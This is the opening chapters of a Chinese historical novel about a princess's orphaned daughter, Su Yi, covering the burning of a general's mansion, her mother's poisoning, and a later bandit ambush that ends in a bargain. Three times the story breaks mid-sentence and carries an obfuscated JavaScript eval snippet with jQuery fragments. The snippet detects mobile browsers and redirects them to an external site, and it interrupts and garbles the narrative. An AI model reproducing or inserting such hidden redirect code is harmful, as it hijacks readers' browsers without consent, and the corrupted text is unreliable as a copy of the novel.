《怯春衫》 1. 楔子 天元十五年冬。 寒冬腊月,大雪纷飞,漆黑一片的宅院里只有檐廊下的几只灯笼泛着幽光,底端垂坠的流苏随风轻轻摇曳。 高永东缩在墙角,双手拢在袖子里,弯着脊背左右环顾,确定周遭没人后,从袖子里小心翼翼掏出一个火折子。 一打开,明黄的火光瞬间窜起,映在那张本就苍老憔悴的脸上,如同张牙舞爪的猛兽,下一秒就要将这一切撕碎。 高永东死死盯着这道光,半晌没有动作。 只需将这个火折子轻轻一丢,丢进宅院里,儿子的病、全家的活路就都有了着落——可面前的是武安侯府。 武安侯是怎样的存在? 十六岁持剑上阵杀敌,十七岁头一次领兵,在长平三面被困的处境下带领三百一十二人破阵杀出重围,被先帝破例任命为从三品宁远将军,成了北襄最年轻的将军,前途不可限量。 此后戎马一生,戍守边关,更是在武安一战后直接封官进爵,成为手握三万兵马的武安侯。可就这样一个战功赫赫的武安侯府,一个月前曲江战败,满门忠烈全都死在了那北边黄沙漫天的战场,无人收尸也无人归还。 只徒留下这武安侯府四个大字。高永东下不去这个手。 风雪灌进领口,他望着紧闭的朱漆大门,突然想起儿子咳得喘不过气时,抓着他的手说,“爹,别去。” 可不去,哪来的钱抓药?哪来的钱买那比金子还贵的雪参? 曲江战败,武安侯满门战死的消息传回京中时,侯府门前跪满了百姓,他也在其中。看着白幡从门楣上垂下,曾经的荣耀一一敛去,也是那时他才知道,少将军曾偷偷给城外的流民施粥,他儿子的命,还是少将军派军医救回来的。 “罢了……罢了……”高永东喉咙发紧,他们说武安侯府满门忠烈,可忠烈的尸首都喂了黄沙,如今连座宅子都留不得? 保家卫国的人,死了也不该如此待遇。 这火,不能放。 他猛地收起火折子塞进袖子,转身往回走。 长街尽头,站在两个着装相同的一男一女。 “倒是个重情义的。”黑衣男人半边身子从巷子阴影里踱出来,看向高永东的背影,评议道。 女人嗤笑一声,腰间的短刃在黑夜里泛着幽光,“重情义有什么用?儿子都要生病死了,还守着那点不知道从哪冒出来的仁义。” 火折子从男人袖中抛出,划过一道猩红的弧线,落进武安侯府里。 “亡命之徒尚有一线生机,何况这般义气之人。”男人缓缓道,“你当真以为北疆旧部会任由我等这般行径?东西一日找不到,我们就一日不得安宁。” “那老匹夫当年在沙场上救过多少人,谁知道他藏哪了。”女人说这话时,语气里尽是不耐。 “死人才能保守秘密。”男人将药瓶扔进火里,瓶身上“千年雪参”的朱砂字渐渐模糊,“找不到,就只能全杀了。” “走吧,去城北破庙,他儿子该醒了。” 火势顺着门廊蔓延,雕花窗棂在火中噼啪作响,红火的薄暮四散开来,很快就染红了半边天。 浓重的烟味在空中交缠,高永东转身望去,顿时瞪大了双眼。 漫天火光中,用金漆刻画着武安侯府四个大字的牌匾摇摇欲坠,高永东僵在原地,恍惚间,眼前的场景发生翻天覆地变化。 武安侯府化作一片望不见尽头的黄沙,他面前有很多人,这些人弯着脊背、踩着尸骨、身上满是伤口血迹,却依然昂首将手中的剑尖刺向敌人的脖颈。 哪怕多杀一个,哪怕少死一个。 抵着剑锋往前走,身后便是城门。耳边隆隆作响,已经分不清是嘶吼声还是火烧房梁的声音。有人英勇赴死,倒在自己脚边,有人敲响战鼓,站在自己身前——这一战他们没输,却也没赢。 高永东低头,看见雪地上自己的影子被拉得狰狞扭曲。 高永东突然发出野兽般的嘶吼,猛地朝武安侯府跑去,心中只有一个念头,牌匾!牌匾不能毁! 火舌逐渐爬上那金漆牌匾,高永东想喊救火,可喉咙怎么也发不出声音,只能拼命跑,快一点,再快一点! 还差一点!就差一点! 梁木爆裂的巨响与风雪声交杂着充斥在耳畔,金漆牌匾轰然坠地,高永东脑子里的弦“铮”地一声断开,双腿瞬间软了下去跪在距离牌匾几步远的地方。 无论如何也站不起来。 半晌,高永东终于找回了自己的声音,“武安侯……武安侯府走水了……快来救火啊……” 武安侯府走水啦!快来人救火啊! 武安侯府走水啦!快来人救火啊! 随着高永东不断地呼喊,长街百姓的房门逐一打开,“哎呦这是怎么了!” “别睡了,快起来,武安侯府走水啦!” “武安侯府这是遭了什么孽噢!死了都不安宁!好好的怎么就走水了?我看呀,就是有人故意放的火!就是看不得侯府好!” 高永东听着这些话缓缓收紧了拳头,袖子里的火折子仿佛还燃烧着,要将他的手腕活活烫出一个窟窿。 “那长公主不也是?前几日还在四处施粥呢,怎地就突然离世了?是个人都能看出其中蹊跷,偏偏咱们那位……哎,不说也罢。” “都什么时候了还说这些?还不快救火!” “烧了它,你儿子就能活。”这是昨日夜里,那个自称能救他儿子的神秘人说的。 高永东爬起来,拖着麻木的双腿,与身后的熙熙攘攘拉开距离,往回走。 他要回去。 要躲起来。 要让他们再也找不到自己。 长公主府宅院一角,站着一个四五岁的小女孩,她穿着一身锦绣红衣,双颊被冻得通红,发髻上也已经堆了些雪花。 院子里种着一颗白玉兰,苏苡就站在树下,仰头望着,枝丫上空空荡荡,绵绵雪花覆盖其上。 火星子被风吹散,融入雪地,长公主府的大门被人悄无声息地推开,紧接着一道明黄色的身影便出现在苏苡身后。 来人没有着急出声,他朝身旁的人伸手,一把红伞便入了他的掌心。 头顶的飘雪突然被遮住,苏苡眨了眨眼,回头望过去。 只见来人缓缓蹲下,举着红伞的手向她微微倾斜,明黄色的长袍上绣着沧海龙腾的图案,衣袖被风带着高高飘起,整个人散发出与生俱来的高贵。 苏苡一头扎进萧恒怀里,眼眶瞬间通红,小声道,“皇帝舅舅……” 萧恒的脸色渐渐好转,自曲江战败后,朝堂鸡零狗碎,不胜其烦,若非今晚武安侯府走水,他恐怕还脱不出身来。 把苏苡脑袋上的雪扒拉干净,单手将人抱起来,语气温柔,“没事了冉冉,舅舅来接你了。” 飘雪落在伞面上,苏苡望着渐渐消失的长公主府大门,下意识地将自己的头埋得更深,鼻尖嗅到龙涎香混着一丝若有若无的药味。是太医院特供的安神香,母亲临终前,长公主府里也是这种味道,不过更加的苦。 苏苡吸了吸鼻子,眼前变得模糊起来,再次浮现出那日的场景—— 萧从筠面色苍白躺在床上,门外是跪了一地的太医和婢女奴才,地上是各种瓷器的碎片,萧恒坐在一旁,捏着茶杯的手不断用力。 苏苡跪在床榻前,双手紧紧握着萧从筠的手,哭的一把鼻涕一把泪。 萧从筠扯了扯干涩的唇露出一个笑容来,抬手抹去苏苡眼角的眼泪。 “冉冉乖,莫要再哭了,哭成大花猫可就不好看,无人欢喜了。” 话虽如此,但萧从筠的目光却一直落在苏苡的脸上,她摸着苏苡的脸,一点一点摩挲着,像是要将她的面容刻进骨子里。 “我不要……我会乖乖听娘亲话的,娘亲不要丢下我好不好……”苏苡哽咽道。 不知何时,萧从筠的眼眶里也洇出水雾,她微不可查地叹口气,吃劲地撑起身子,将苏苡抱入怀里,“娘亲不会丢下你的,如今,在这个世上,娘亲最放心不下的就是你了……” 只是……此路绵绵悠长,而我命途已尽。 苏苡将脸埋在萧从筠胸口,哭声小了不少,但萧从筠却能感受到胸前那块的衣裳变得湿润,她缓慢地,一下又一下地拍着苏苡的背,好让她哭得舒服一点。 忽地,萧从筠像是想起什么,低头在苏苡耳畔低语,随即抬头问她,“方才娘亲说的,都记住了吗?” 苏苡睁开有些许刺痛的双眼,模模糊糊看着萧从筠,刚才的话仿佛还断断续续回响在脑海里,苏苡正欲点头,鲜红的血液出现在眼前,几乎是瞬间占据她的所有感知,满脑子都是——娘亲吐血了。 萧从筠的脸色肉眼可见的变差,鲜血浸湿了苏苡雪白的裙衫,萧从筠眼神微暗,伸手去擦才发现自己的手上也沾上了鲜血。 苏苡下意识想要呼喊却被萧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488688|185752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从筠反手拉住,苏苡一愣,就听见萧从筠用只有他们俩人能听见的声音说,“冉冉,娘亲……不是故意弄脏……冉冉……” “冉冉,对不起。” 许是已经道过歉的缘故,萧从筠此刻胆子也大了起来,竟笑着将沾满鲜血的手,再次抚摸上苏苡的脸颊。 她看着苏苡,说:“盛世不由己,乱世不由人,若,此生尽兴、赤诚良善,纵遇、多舛风雨晦明,又、何、妨?” “冉冉,去做吧,去做你想做的……” 苏苡尚且年幼,并不知晓死亡意味着什么,但她却是知道离别的。 她的父亲是武安侯嫡长子,一战成名的怀远将军,常年征战沙场,一走便是几个月。武安离京中足有两千多里路,吃食什么的也就是干粮了,别的放在路上没两天便坏了,苏苡就故意缠着苏卓禹要武安的糖葫芦。 糖葫芦,莫说京中,北襄像样点的村镇都有卖的,倒也不是苏苡非要吃,就是为苏卓禹常年不在家生气,要闹闹他罢了。可每次,苏卓禹还真就能给她带回来。 但在一个月前,娘亲告诉她,爹爹再也带不回糖葫芦时,她知道了,这大概不会是一件好事,她的爹爹回不来了。倘若能回来,她必是能再吃上武安的糖葫芦的。 因此,当萧从筠沾满鲜血的手,抚摸上自己的脸颊时,苏苡没有挣扎,任由萧从筠,直到感受到脸上的手开始滑落,苏苡几乎是下意识地抬手按住,用力地贴在脸上。 她以为这样就能让娘亲不丢下她。 可最后留下的是一句未说完的“去做你想做,你认为值得做的事”,和脸上黏稠的泛着腥味的血液。 萧恒这才隐约发现不对劲,立马放下茶杯起身走过来,“阿姐,太医说了,此毒已蔓延身心,切莫乱动……” 萧恒怔在原地,久久没回过神,待反应过来,萧恒已经抬手抚上自己的脸,他垂下眸子,手上一片湿润。 苏苡恍惚间睁开双眼,萧恒正抱着她,从长公主府一步一步走回皇宫,雪地上留下脚印,不久后又被覆盖。新的脚印一直往前,身后的路也逐渐变浅。 苏苡搞不懂萧恒堂堂一个皇帝,为什么要亲自抱着她往回走。明明来时坐着马车,回去时却只叫人打了把伞。在她的印象里,皇帝是不需要如此的。 “皇帝舅舅,我想要望舒姑姑。”苏苡将头埋在萧恒胸口,说话时声音闷闷的。 萧恒愣了愣,想起即将被处以极刑的望舒,一时之间不知道该说什么。 武安侯府满门战死,长公主中毒身亡,朝堂动荡,不过一朝之夕。 一个月前斥兰突然发动战乱,举兵进攻沧州曲江,武安侯领兵迎战却不想惨遭暗算,一万兵马全军覆没,曲江就此沦陷,本以为斥兰军会一举攻破沧州关山等地直逼京中,但不知为何,长平援军还未赶到,斥兰军又突然撤兵回营,那满天黄沙之地只留下马蹄印和被践踏的具具尸骨。 当天夜里萧从筠便中了斥兰人特制的毒药,秋风客,名字听起来温柔毒性却极其强悍,它会一点一点侵蚀中毒之人的五脏六腑直至死亡,至今没人制出解药。 朝堂君心本就不稳,此次又事出突然,总归需要拎一个人出来当替罪羔羊,如此一来常年跟随长公主,知晓一切详情的望舒自然就成了不二人选。 见萧恒不搭理自己,苏苡指尖无意识地揪着他的衣料,再次重复道,“皇帝舅舅,我想要望舒姑姑。” “为何想要她?舅舅为你寻些年龄相当的可好?到时你们便可以一起玩了。”萧恒说。 “因为望舒姑姑是望舒姑姑啊。玩伴我也要,望舒姑姑我也要。” 萧恒再次沉默下来,不知道过了多久才点头,“好,舅舅答应冉冉。” 话都说到这个份上了,萧恒还有什么不明白的?这是萧从筠为苏苡铺的路,有句话说的不错,皇宫是个吃人不吐骨头的地方。萧从筠,他的好阿姐,怕他哪天丧心病狂把他唯一的外甥女也一并处理了。 可是阿姐啊,望舒一个奴婢当真能护住你放在心尖尖上的宝贝女儿吗? 想到这里,萧恒的目光终于落在了苏苡身上,打量许久,他终是心软了,一句一字道。 “冉冉,从今日起你便是霁禾郡主,是北襄最尊贵之女子,霁禾是你的封号,闻台六郡是你的封地,长公主府昔日下属尽数归你,武安侯一生驰骋沙场,尸骨未寒便有人火烧武安侯府,你不是孤身一人,你且替他们争上一争。” 2. 身入连州1 八年后,北襄边疆,连州境外。 一辆马车拖着吱呀声徐徐前行,两架板车各坐着两名杂役紧随其后。周遭山势连绵起伏,绯桃掀开帘子探头瞧了瞧,遂朝身侧的女子说道:“小姐,再往前走二十里地就是廿业了。” 苏苡点头,垂眸自己斟茶。 “算起来,月白、月见也该往回赶了?”眼下正值初春,寒气还未消散,杯中热气缓缓升起,弥漫在空气中,模糊了苏苡的神色。 绯桃点头回道:“京中那群老家伙不知道派了多少人来,若寻安稳,恐还要再晚些时日。小姐可是有吩咐?我这就派人传信去。” “不必,随口问问。”苏苡道。 此行离京除身边亲信寥寥几人,旁人并不知晓,也正是如此,她前脚刚离京,京中的豺狼虎豹后脚就跟在了身后。 起初还是来一个杀一个,来一双杀一双,可那些人就跟群蚁般,杀了一群又来一群,杀不完,根本杀不完。 于是,苏苡想到了一个地方——新丰,北襄边界最后一道防线,里三层外三层的死守严防,看守的领将是当今陛下萧恒信任之人。 京中权臣世家的人若是到了此处,还能活着离开才算是稀奇。 但借了萧恒的手,难免不会横生事端,因此刚越过新丰,苏苡便派月白、月见兵分两路绕道返回新丰。 杀人灭口是其一,干扰视线是其二。 要是因为一封信乱了计划,倒是得不偿失。 “廿业归属连州地界,出入身份都需严查,行事还要低调些。”杯中茶叶翻转,苏苡垂眸望着,言语中带着几分严肃。 绯桃自幼跟在苏苡身边,知晓有多少人惦记着自家小姐的命,想起那些人不由得轻哼出声:“他们倒是恨不得将眼睛挖出来缝在小姐衣袖上——这天底下恐是找不出几个安全的地儿。” 闻言,苏苡睫毛忽地一颤,再抬眸看绯桃时,眼中多了抹复杂。 自离京以来,绯桃这张嘴就跟开过光一样,说什么来什么,若非她准备充分,此刻坟头的杂草都该有二尺高了。 绯桃不明所以回望:“?” 不及言语,一支箭就以掩耳不及迅雷之势,划破天空,自山顶俯冲而下,擦着帘子,狠狠钉在车檐上,发出沉闷的嗡鸣声。 绯桃“蹭”地一下站起,张开双手,用身体将苏苡遮个严严实实。 驾马车的沈易听见动静,一只手握着缰绳翻转,在手腕上缠了好几圈,才问道:“小姐,你们没事吧?” 苏苡视线越过绯桃,望向箭矢射来的方向,帘子轻晃着,只能隐约分辨出周遭群山环绕,确实是个刺杀的好地方。 “无事。”苏苡回道。 紧接着,第二支箭,第三支……密密麻麻的箭矢铺天盖地落下,马车剧烈摇晃,杯中茶水尽数洒在苏苡的裙摆上,沈易一只手牢牢握着缰绳,另一只手拔出腰间佩剑,抵挡着迎面而来的箭矢。 马车木檐上、地上全都是,却一支箭也没有射进马车内。 苏苡正欲开口,一个杂役忽然高声喊起来,“有人放箭!大家快跑啊!” 他嘴里嚷嚷着,还不忘朝山顶望去,像是在确认什么,随即头也不回地抱着脑袋往山壁下跑去。 其余杂役哪里见过这种场面,便也跟着他跑,一时间官道上只余下苏苡主仆三人。 三人脸色个比个的差,此番绝非偶然。 苏苡微微皱眉,杂役是临出京时绯桃亲自挑选的,个个家世清白,若那时便已被人买通,可想幕后之人权势滔天。 但眼下不是想这些的时候,苏苡的目光落在车檐上的那支箭上,反手将箭拔出,固定箭羽的麻绳呈极淡的明绿色,箭杆上雕着水波纹,触感粗粝,箭头被磨去三棱,只剩下钝圆的铁头。 这座山不算高,箭程不远也不近,就算箭术极差也不至于射成这样,答案显而易见,他们商量得并不愉快。 想到这一点苏苡稳下心神,冲马车外的沈易说道:“沈易!弃马!这放箭之人还不知是何方神圣,你且先进来,免得受伤。” 放箭之人虽留有余地未下死手,但那么多箭却是实打实的,就算箭头磨钝,中一箭还是可能会要人性命。 沈易神情严肃,目光死死盯着山顶上飞快移动的一行人,手中的缰绳越来越紧,逐渐勒开皮肉,鲜血一点点浸入缰绳,他却像是毫无察觉。 闻言,他收回目光,看向发狂的马匹,手上握缰绳的力道再次加大。 绝不能,陷小姐于险境。 沈易是长公主在世时捡回来的孤儿,从小便养在长公主府受尽恩德,长公主去世后就跟在了苏苡身边,不管出于什么心理,都不能让苏苡受到伤害。 沈易回道:“应当是山匪,冲着金银财宝来的,小姐不必担心。” 沈易这话说对了一半。 京中的人越不过新丰,倘若绕道而行,就算有杂役报信,短时间内也追不上来,山顶上的人十有八九是山匪。 但若只是为金银财宝而来,又何须放箭? 好在沈易这话刚说完,山顶上的人便收了手。 沈易趁此机会,握住缰绳一鼓作气往后拉,马匹的前蹄向上跃起,发出一声嘶吼,片刻后,马匹的情绪终于慢慢平缓下来。 苏苡扶开绯桃护在自己身前的手,径直下了马车。 她刚想开口,目光率先落到了沈易那双皮开肉绽的手上,鲜血混着翻开的血肉,苏苡眼眸微闪,斥责的话到了嘴边又咽了回去。 苏苡抿唇,从怀中掏出一张帕子递过去,“日后莫要这般鲁莽。” 沈易接过,毫不犹豫压在伤口上,低头应道:“让小姐担心了。” “你既知晓会让小姐担心,就莫要自作主张,反误了小姐安危。” 绯桃站在苏苡身旁,话是朝着沈易说的,视线却落在苏苡的背影上,语气怨怼。 这哪是在警醒沈易,分明是说给自己听的。 对此沈易也不反驳,垂眸静静听着,“属下知错,还请小姐惩戒。” 杂役是绯桃亲自挑选的,这时出了细作,心里一万个自责愧疚。 一想到是因为自己的失察,才陷小姐于险境,绯桃心情更加低落了,“小姐……” 不等绯桃把后面的话说完,苏苡立马打断,“欲害我者,纵是铁笼也能放两只青蝇进去,防得一时防不得百,此事无需多言。” 绯桃抿唇低头,余光瞥见苏苡手中的箭,眨了眨眼,又抬起头来,“小姐,箭羽处缠的是青藤麻,是连州百姓常用的料子。” “唰——” 一支箭就破空向她袭来,苏苡抬眸神色微敛,反手将手中的箭飞了出去,两支箭矢在半空中交汇发出刺耳的碰撞声,转眼就落在地上。 分毫不差。 “姑娘好身手!”一声粗犷的喝彩从前方传来,“倒不像是后宅大院出来的。” 风声裹挟凉意拂过,苏苡耳侧碎发轻晃,她循声望过去,乌泱泱一行人,少说也有二三十。这话是为首那人说的。 只见那人骑在马上,络腮胡子几乎遮住半张脸,唯有一双眼睛能让人看清,他一手牵着缰绳,一手握着弓,刚才那支箭就是他射的。 沈易立马握上腰间的剑柄,冷眼看着他们。 “山匪走官道,还专挑连州地界动手,”此事苏苡已猜个七八分,淡定回道,“寨主胆子不小,也不像是无所求。” 络腮胡子一愣,随即大笑,“在下杜杰风,乃二十二寨寨主,自知瞒不过姑娘,今日不为劫财,只想问句话——”他忽地压低声音,“您是要去连州知府衙门,还是镇北王府?” 本意只想绕道经过新丰,处理身后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488689|185752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 豺狼虎豹,压根没想过掺和进连州的苏苡:……我能说我哪都不去吗? 但事已至此,否认当然是不可能的,苏苡垂眸掩去眼底暗涌,面不改色心不跳地扯谎:“自然是知府衙门。” 听到回答,杜杰风满意接话:“如此,我便不欺瞒姑娘了。” “前些日子有人抬着黄金来找老子,说取了你的性命,二十二寨便可安稳度日,不用再拦路抢劫,也不用再四处躲避官兵——” 杜杰风说到这里,眼神微眯,“可老子琢磨着,能让知府衙门乖乖听话办事的,能是什么善茬吗?” 除了京中那些位高权重的贵人,还有谁能许下如此诺言?又是谁值得黄金千两,让京中那些达官显贵买凶至此? 富贵险中求,也在险中丢,求时十之一,丢时十之九。杜杰风不是个蠢的,否则也不能让二十二寨在连州地界存活至今。 思及此,杜杰风敛下神情,“老子虽然贪财,却不蠢。若今日我杀了你,那些人不会放过我,也不会放过二十二寨,不如赌一把,换条活路!” 苏苡闻言,微微勾唇,世人所求,不过钱权二字,杜杰风要护二十二寨安宁,就必定要往上爬,靠投诚换来的庇佑,护不住他的二十二寨,护不住他二十二寨兄弟伙的命。 想要往上爬,第一步就是摆脱山匪的身份。 杜杰风要的,是一纸官府赦令。 苏苡抬起眸子,看向杜杰风的眸中多了几分兴味,连带着说话时语气也染上了一抹不易察觉的笑意,“不知寨主想要一条怎样的活路呢?” 杜杰风毫不犹豫道:“我要一纸官府赦令!” 果然。 苏苡眸中笑意更甚,面上还维持着神色不变,点点头,“寨主想要的,我可以给。但我有个问题。” “姑娘请问。” “得了这一纸赦令,寨主日后作何打算?”苏苡说这话时指尖无意识摩挲着,声线平稳却带着不容置疑的压迫感。 意识到什么的杜杰风瞳孔骤缩,随即大笑起来,“我听闻南边商路近来屡遭劫掠,过往商旅苦不堪言。若得此良机,我等便沿平阳延丘一路南下,为商队押镖赚取营生。” 苏苡挑眉:“寨主不怕遭绿林同道记恨?” 先前同为山匪,一朝从良就回过头来坑自己人,不是缺心眼都干不出这种事来。 杜杰风扬了扬眉梢:“不是有句话——哎,那句话怎么说来着……哦对了,知己知彼百战不殆。这世上怕是没有比我们更懂山匪路数的人了。” 如若没有买凶杀人这一出,苏苡说不定还真就信了杜杰风的鬼话。 杜杰风一介山匪,却能在京中权贵找上门时,仅凭一句“黄金千两,不必躲避官兵”便察觉其中阴谋,迅速周旋权衡局势来寻她庇护,单说这一点,杜杰风就绝不会是等闲之辈。 这样的人所求一纸官府赦令,若说只是为了能光明正大出去赚银子,任谁也不会轻信。 杜杰风知道京中的人留不下他,又怎会将自己的行径主动暴露出去? 不过是编个谎话来骗苏苡罢了。 苏苡转头,给了绯桃一个眼色,绯桃立马从腰间取下一枚玉佩,快步走到杜杰风马前,将玉佩递上。 玉佩通体呈现芙蓉绿,色泽温润而不失光泽,上面没有饰以繁琐的花纹图案,只刻着一节不秋草栩栩如生。 杜杰风只看了一眼就知道这玉佩价值不菲,他不明所以看向苏苡,只听苏苡继续说道。 “寨主不必带着兄弟伙南下,我这里有件好差事。” “这是我府信物,收下它,二十二寨便在名义上归属于我。寨主想建不世之功,可借我之势扶摇而上,博取青史留名;想要隐退江湖,也可为寨主周全善后,保一世安稳。” “收与不收,全凭寨主定夺,绝不干涉。” 3. 身入连州2 杜杰风看向那枚玉佩,心中思绪万千。 他要在这乱局之中闯出一条生路,单凭二十二寨的两千余人,简直就是痴人说梦,更别提其中还有一部分老弱病残。 但身后豺狼虎豹环伺,肆虐横行,他岂能坐以待毙?拿二十二寨两千多条人命,去赌那幕后之人未必存在的善心,杜杰风自认不是什么正人君子,却也做不出如此丧心病狂的事。 他要一纸官府赦令,他要入军营,要行军打仗,要夺取军功,要换他们一条生路。 接下这枚玉佩,有苏苡做他们的靠山,借她之势行走于世,相较自己在暗地里摸爬滚打,不知道要强上多少倍。 可苏苡为何要帮他们? 他们不过一群山匪草寇,无权无势。苏苡办不到的事,他们办不到,苏苡能办到的事,又何须假手于他们? 杜杰风想不明白,他不信苏苡会那么好心,费尽心思帮自己还没有一点所求,可所求之物,他又实在想不出来。 总不能只是为了一句“日后可能”的空泛指望,便为他们做到这个地步吧? 想到这里,杜杰风脸色沉下来,他不是那种喜欢纠结的人,与其自己苦恼,倒不如直接询问,“姑娘肺腑之言,字字句句皆为杜某思量,寻不出半分纰漏,只是不知姑娘这般,所求何解?” 杜杰风错了,苏苡还真就是为了一句“日后可能”的空泛指望。 杜杰风既下定了决心要蹚这浑水,苏苡自然不会阻拦,她本就嫌京中的积淤太深,如今有了杜杰风这个出头鸟,助他一臂之力,日后闯出什么名头,也不算淹没了他的才能。 但这话说出来,杜杰风大概率也是不会信的,否则也不会问她想要什么了。 苏苡缓步向前,站在绯桃身侧,拿过绯桃手中的玉佩,手指在那节不秋草上细细摩挲着,眸色晦暗不明。 杜杰风要一个答案,那她便给他一个答案。 苏苡抬眸,看向绯桃,“将人带过来。” 绯桃低头应下,转身之际抬头看了杜杰风一眼,目光扫过他手里握着的弓。 这把弓今天一共射了两箭,一箭钉在木檐上被苏苡拔出,一箭被击落,击落它的正是苏苡拔出的那支箭。 杂役又不是他买通的。 绯桃压下心底的不悦,径直走向不远处的崖壁,她向来不会质疑自家小姐的决定。 崖壁下,四名杂役挤在凸石阴影里,叽叽喳喳说着什么,抬头看见绯桃,神色各异,有的害怕,有的担忧,有的郁闷。 绯桃一一扫过几人的脸,与离京时别无二致,绯桃扯唇,声音混着风声散开,“别蹲在这了,跟我来。” 几名杂役忙不迭起身,一名杂役走在最末尾,眉宇间掠过一丝狐疑。 虽然距离不远,但苏苡与杜杰风谈话声并不大,除却最初那句“好身手”清晰落进耳中,其后话音皆一概不知。 不过按照那人的说法,苏苡主仆三人此时本该命丧黄泉才对,怎会与山匪谈论上了?看样子,也不像是要起争端。 待四名杂役被绯桃带着整整齐齐站到了眼前,杜杰风几乎是瞬间就猜到了苏苡所图为何。 “姑娘这刀委实不错。”杜杰风真心夸赞道。 不论那杂役背后牵扯哪方势力,终究是条人命,若今日在自己手里断送了性命,就等于将把柄送到苏苡手里,任其掌控。 不仅如此,日后出事,苏苡手上依旧干干净净,轻而易举便能抽离其身,一切责任都在二十二寨。 一石二鸟。 苏苡轻笑一声,她原本是不打算如此的,可架不住杜杰风一副,她说不出个所以然来,他就誓不收玉佩的模样,此番,是一石三鸟。 苏苡若无其事地点点头,回答的话却是牛头不对马嘴,她道:“我舞得一手剑,亦是极好,若是日后有机会,给你露一手。” 杜杰风看向苏苡的目光变得有些复杂:“剑有剑的用法,刀有刀的砍法,就是不知姑娘这刀鞘准备得如何?大小可得合适才好。” 苏苡听懂了他的言外之意,其实就是想问,他为自己办事,办的是哪些事?上到朝廷百官,下到平民百姓,左到匡扶正义惩恶扬善,右到欺压百姓无恶不作,总不能尽数包揽。 这刀鞘当然要有大小。 “自然。寨主但请宽心,若无紧要事端,二十二寨上下行事仍悉听差遣。只要不牵涉我的人,这摊浑水随你怎么搅。”苏苡道。 “好,这玉佩我接下了!”杜杰风立马应下,将手中的弓丢给二十二寨的手下,翻身下马,利落从腰间刀鞘中取出大刀,朝几名杂役走来,一套动作下来行云流水。 杜杰风与苏苡达成共识,就算那杂役再愚蠢,也悟出个大概来了,这群山匪叛变,要取他性命,做垫脚石! 他的心仿佛一瞬间就提到了嗓子眼,他想不明白,那人明明说一切都已安排妥当,只等着取苏苡的项上人头,山匪为何反水? 把他们全杀了不就行了吗? 不过一息,他又开始后悔,不就是五十两银子?不就是做三年工?他做了几十年也不差这三年了,怎么就答应了呢? 无数思绪萦绕,他已顾不得其他,不等杜杰风指认,便“扑通”一声跪在地上,“小姐,是我,是我背叛了小姐,求小姐看在未酿成大祸的份上,宽恕小的这一回吧。” 他边说边手脚并用爬向苏苡:“我,我把我知道的都告诉您,求您了。” 苏苡垂眸看着他,微微勾唇,“噢?都知道些什么,说来听听。” 一听这话,杂役心中顿时飘起两个字:有戏。 “三天前有个人找到我,给了我五十两银子,他说,他已经跟二十二寨的山匪说好了,要取您性命,我,我只需要把您的行踪告诉他,其他的什么都不用管。” 苏苡目光轻飘飘扫过杜杰风一行人,下一秒,杂役便被杜杰风一脚踹下去。 杜杰风睨着他,问道:“那你可看清了他长什么模样?” “我……我不知道……”杂役被踩的踹不过气,挣扎着伸出手,试图抓住苏苡这根救命稻草,还不等靠近,又被身侧的绯桃一脚踩下去。 绯桃居高临下瞧着他,目光中的嫌恶与愤恨丝毫不掩:“别拿你那双脏手碰小姐。就为了五十两背信弃义,出卖小姐,就是千刀万剐也不为过,如今竟还有脸求饶!” 可就是这样的人,居然还是她亲自挑选的,绯桃更加气愤了。 杂役还不死心:“小姐,我知道的都说了,您答应我放我一条生路的。” 苏苡盯着他瞧了许久,才问道:“你可知应允你钱财之人是何等身份?” 杂役摇头:“我……我不知道……” “那你可知他穿着什么样式的衣裳,说的是哪里的话,有什么过人之处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488690|185752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?”苏苡继续问。 杂役还是摇头:“我……我都不知道,小姐,我知道的都已经说了……” 苏苡打断他,道:“既然什么都不知道,我为何留你?就为了五十两银子视人命如草芥,你不妨回头看看,但凡一支箭有所偏移,你的命,他们的命,哪一个不值五十两?” 为了五十两将人命视如草芥,可偏偏他自己也是个手无缚鸡之力的人。 五十两,说多不多,说少也不少。现如今这个世道,一两银子可以买七十斗米,一百斗米就够一家三口吃一年。 五十两,能让一家三口三年内不受饥寒,在寻常百姓眼中属实算不上少,可若与人命相提并论,又未免太过轻巧。 杂役怔住,原本求情的话挂在嘴边,却无论如何也说不出口,“我……我只是……我只是……” “噗哧——” 杂役神情僵在脸上,胸口的疼痛让他瞬间失去了反应,双眼瞪得溜圆,他僵硬地低下头,只见他的胸膛被一把大刀贯穿,刀尖被鲜血浸染,黏稠的血液滴滴答答往下流淌。 他只觉得自己的五脏六腑都被撕裂,再次抬起头,看向苏苡,此刻的他眼睛里已经没了半分思绪,空洞而麻木。 他扯了扯唇,似乎还想要再说些什么,最终一个字也没有说出来。 